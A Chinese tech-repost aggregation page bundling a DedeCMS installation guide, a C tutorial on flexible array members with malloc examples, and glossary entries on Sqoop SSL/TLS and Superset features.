(PHP必须在非安全模式下运行) 建议使用平台:Linux + Apache2.2 + PHP5.2/PHP5.3 + MySQL5.0 3.PHP必须环境或启用的系统函数: allow_url_fopen GD扩展库 MySQL扩展库 系统函数 —— phpinfo、dir 4.基本目录结构 / ..../install 安装程序目录,安装完后可删除[安装时必须有可写入权限] ..../dede 默认后台管理目录(可任意改名) ..../include 类库文件目录 ..../plus 附助程序目录 ..../member 会员目录 ..../images 系统默认模板图片存放目录 ..../uploads 默认上传目录[必须可写入] ..../a 默认HTML文件存放目录[必须可写入] ..../templets 系统默认内核模板目录 ..../data 系统缓存或其它可写入数据存放目录[必须可写入] ..../special 专题目录[生成一次专题后可以删除special/index.php,必须可写入] 5.PHP环境容易碰到的不兼容性问题 (1)data目录没写入权限,导致系统session无法使用,这将导致无法登录管理后台(直接表现为验证码不能正常显示); (2)php的上传的临时文件夹没设置好或没写入权限,这会导致文件上传的功能无法使用; (3)出现莫名的错误,如安装时显示空白,这样能是由于系统没装载mysql扩展导致的,对于初级用户,可以下载dede的php套件包,以方便简单的使用。 二、程序安装使用 1.下载程序解压到本地目录; 2.上传程序目录中的/uploads到网站根目录 3.运行http://www.yourname.com/install/index.php(yourname表示你的域名),按照安装提速说明进行程序安装 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_31879641/article/details/115616068。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-24 09:08:23
278
转载
转载文章
...转载内容。原文链接:https://linus.blog.csdn.net/article/details/112645639。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1 引言 定长数组包 在平时的开发中,缓冲区数据收发时,如果采用缓冲区定长包,假定大小是 1k,MAX_LENGTH 为 1024。结构体如下: // 定长缓冲区struct max_buffer{int len;char data[MAX_LENGTH];}; 数据结构的大小 >= sizeof(int) + sizeof(char) MAX_LENGTH为了防止数据溢出的情况,data 的长度一般会设置得足够大,但也正是因为这样,才会导致数组的冗余。 假如发送 512 字节的数据, 就会浪费 512 个字节的空间, 平时通信时,大多数是心跳包,大小远远小于 1024,除了浪费空间还消耗很多流量。 内存申请: if ((m_buffer = (struct max_buffer )malloc(sizeof(struct max_buffer))) != NULL){m_buffer->len = CUR_LENGTH;memcpy(m_buffer->data, "max_buffer test", CUR_LENGTH);printf("%d, %s\n", m_buffer->len, m_buffer->data);} 内存释放: free(m_buffer);m_buffer = NULL; 指针数据包 为了避免空间上的浪费,我们可以将上面的长度为 MAX_LENGTH 的定长数组换为指针, 每次使用时动态的开辟 CUR_LENGTH 大小的空间。数据包结构体定义: struct point_buffer{int len;char data;}; 数据结构大小 >= sizeof(int) + sizeof(char )但在内存分配时,需要两步进行: 需为结构体分配一块内存空间; 为结构体中的成员变量分配内存空间; 内存申请: if ((p_buffer = (struct point_buffer )malloc(sizeof(struct point_buffer))) != NULL){p_buffer->len = CUR_LENGTH;if ((p_buffer->data = (char )malloc(sizeof(char) CUR_LENGTH)) != NULL){memcpy(p_buffer->data, "point_buffer test", CUR_LENGTH);printf("%d, %s\n", p_buffer->len, p_buffer->data);} } 内存释放: free(p_buffer->data);free(p_buffer);p_buffer = NULL; 虽然这样能够节约内存,但是两次分配的内存是不连续的, 需要分别对其进行管理,导致的问题就是需要对结构体和数据分别申请和释放内存,这样对于程序员来说无疑是一个灾难,因为这样很容易导致遗忘释放内存造成内存泄露。 有没有更好的方法呢?那就是今天的主题柔性数组。 2 柔性数组 什么是柔性数组? 柔性数组成员(flexible array member)也叫伸缩性数组成员,这种代码结构产生于对动态结构体的需求。在日常的编程中,有时候需要在结构体中存放一个长度动态的字符串,鉴于这种代码结构所产生的重要作用,C99 甚至把它收入了标准中: As a special case, the last element of a structure with more than one named member may have an incomplete array type; this is called a flexible array member. 柔性数组是 C99 标准引入的特性,所以当你的编译器提示不支持的语法时,请检查你是否开启了 C99 选项或更高的版本支持。 C99 标准的定义如下: struct test {short len; // 必须至少有一个其它成员char arr[]; // 柔性数组必须是结构体最后一个成员(也可是其它类型,如:int、double、...)}; 柔性数组成员必须定义在结构体里面且为最后元素; 结构体中不能单独只有柔性数组成员; 柔性数组不占内存。 在一个结构体的最后,申明一个长度为空的数组,就可以使得这个结构体是可变长的。对于编译器来说,此时长度为 0 的数组并不占用空间,因为数组名本身不占空间,它只是一个偏移量,数组名这个符号本身代表了一个不可修改的地址常量, 但对于这个数组的大小,我们可以进行动态分配,对于编译器而言,数组名仅仅是一个符号,它不会占用任何空间,它在结构体中,只是代表了一个偏移量,代表一个不可修改的地址常量! 对于柔性数组的这个特点,很容易构造出变成结构体,如缓冲区,数据包等等, 其实柔性数组成员在实现跳跃表时有它特别的用法,在Redis的SDS数据结构中和跳跃表的实现上,也使用柔性数组成员。它的主要用途是为了满足需要变长度的结构体,为了解决使用数组时内存的冗余和数组的越界问题。 柔性数组解决引言的例子 //柔性数组struct soft_buffer{int len;char data[0];}; 数据结构大小 = sizeof(struct soft_buffer) = sizeof(int),这样的变长数组常用于网络通信中构造不定长数据包, 不会浪费空间浪费网络流量。 申请内存: if ((softbuffer = (struct soft_buffer )malloc(sizeof(struct soft_buffer) + sizeof(char) CUR_LENGTH)) != NULL){softbuffer->len = CUR_LENGTH;memcpy(softbuffer->data, "softbuffer test", CUR_LENGTH);printf("%d, %s\n", softbuffer->len, softbuffer->data);} 释放内存: free(softbuffer);softbuffer = NULL; 对比使用指针和柔性数组会发现,使用柔性数组的优点: 由于结构体使用指针地址不连续(两次 malloc),柔性数组地址连续,只需要一次 malloc,同样释放前者需要两次,后者可以一起释放。 在数据拷贝时,结构体使用指针时,必须拷贝它指向的内存,内存不连续会存在问题,柔性数组可以直接拷贝。 减少内存碎片,由于结构体的柔性数组和结构体成员的地址是连续的,即可一同申请内存,因此更大程度地避免了内存碎片。另外由于该成员本身不占结构体空间,因此,整体而言,比普通的数组成员占用空间要会稍微小点。 缺点:对结构体格式有要求,必要放在最后,不是唯一成员。 3 总结 在日常编程中,有时需要在结构体中存放一个长度是动态的字符串(也可能是其他数据类型),可以使用柔性数组,柔性数组是一种能够巧妙地解决数组内存的冗余和数组的越界问题一种方法。非常值得大家学习和借鉴。 推荐阅读: 专辑|Linux文章汇总 专辑|程序人生 专辑|C语言 我的知识小密圈 本篇文章为转载内容。原文链接:https://linus.blog.csdn.net/article/details/112645639。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-21 13:56:11
501
转载
Sqoop
...统中的一个重要工具,实现了关系型数据库与Hadoop之间数据的无缝迁移。 SSL/TLS加密 , SSL(Secure Sockets Layer)和TLS(Transport Layer Security)是两种用于保障网络通信安全的协议,它们通过公钥和私钥对数据进行加密,确保在网络上传输的信息不被窃取或篡改。在使用Sqoop时配置SSL/TLS加密,能够有效保护在Hadoop与关系型数据库间传输的数据安全,防止中间人攻击等安全威胁。 中间人攻击(Man-in-the-Middle Attack) , 这是一种网络安全攻击手段,在这种攻击中,攻击者秘密地插入到两个通信方之间,拦截并可能修改正常的网络通信内容。在文中,SSL/TLS加密能防止这种攻击,因为它会对传输的数据进行加密,使得即使攻击者截获了数据,也无法解读其中的内容,从而保证了Sqoop数据迁移过程中的数据隐私性和完整性。 自签名SSL证书 , 自签名SSL证书是由创建者自己生成的数字证书,而非由受信任的第三方证书颁发机构签发。在本文情境下,为了配置Sqoop使用SSL/TLS加密,可以通过OpenSSL工具生成自签名SSL证书,用以验证服务端身份并在客户端与服务器间建立安全连接。尽管自签名证书在安全性上不如权威机构签发的证书,但在测试环境或者内部网络中,它可以作为一种便捷且低成本的方式来实现基本的安全加密需求。
2023-10-06 10:27:40
184
追梦人-t
Superset
...开发和部署方式,强调微服务、容器化、持续集成/持续部署(CI/CD)等技术实践。Superset在升级过程中强化与云原生架构的兼容性,意味着它能更好地适应分布式、弹性伸缩的云环境,提供更加稳定、高效的服务。 全局过滤器 , 全局过滤器是Superset中的一项交互功能,允许用户在一个统一的位置设置筛选条件,进而影响整个仪表盘上所有关联的数据图表。这意味着用户可以快速调整视角,从不同维度探索数据,提高数据分析的效率和深度。 自然语言处理(NLP)查询功能 , 自然语言处理是计算机科学领域的一个分支,用于理解和生成人类语言。在BI工具如Tableau和Power BI中应用的NLP查询功能,则是指用户可以通过输入日常对话式的语句来查询和分析数据,降低非技术人员使用数据可视化工具的技术门槛,实现更为人性化和便捷的数据交互体验。 WCAG 2.1标准 , WCAG(Web Content Accessibility Guidelines,网页内容可访问性指南)是由万维网联盟(W3C)制定的一系列指导原则,旨在确保残障人士也能无障碍地访问和使用网络内容。WCAG 2.1是其最新版本,对包括移动设备在内的各类互联网产品提出了更高的无障碍设计要求,微软等公司在BI工具中努力遵循这一标准,目的是让视力障碍、行动不便等各种特殊需求的用户群体都能够平等地获取和利用数据可视化工具提供的信息。
2023-09-02 09:45:15
150
蝶舞花间
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
lsof -i :port_number
- 查找占用指定端口的进程。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"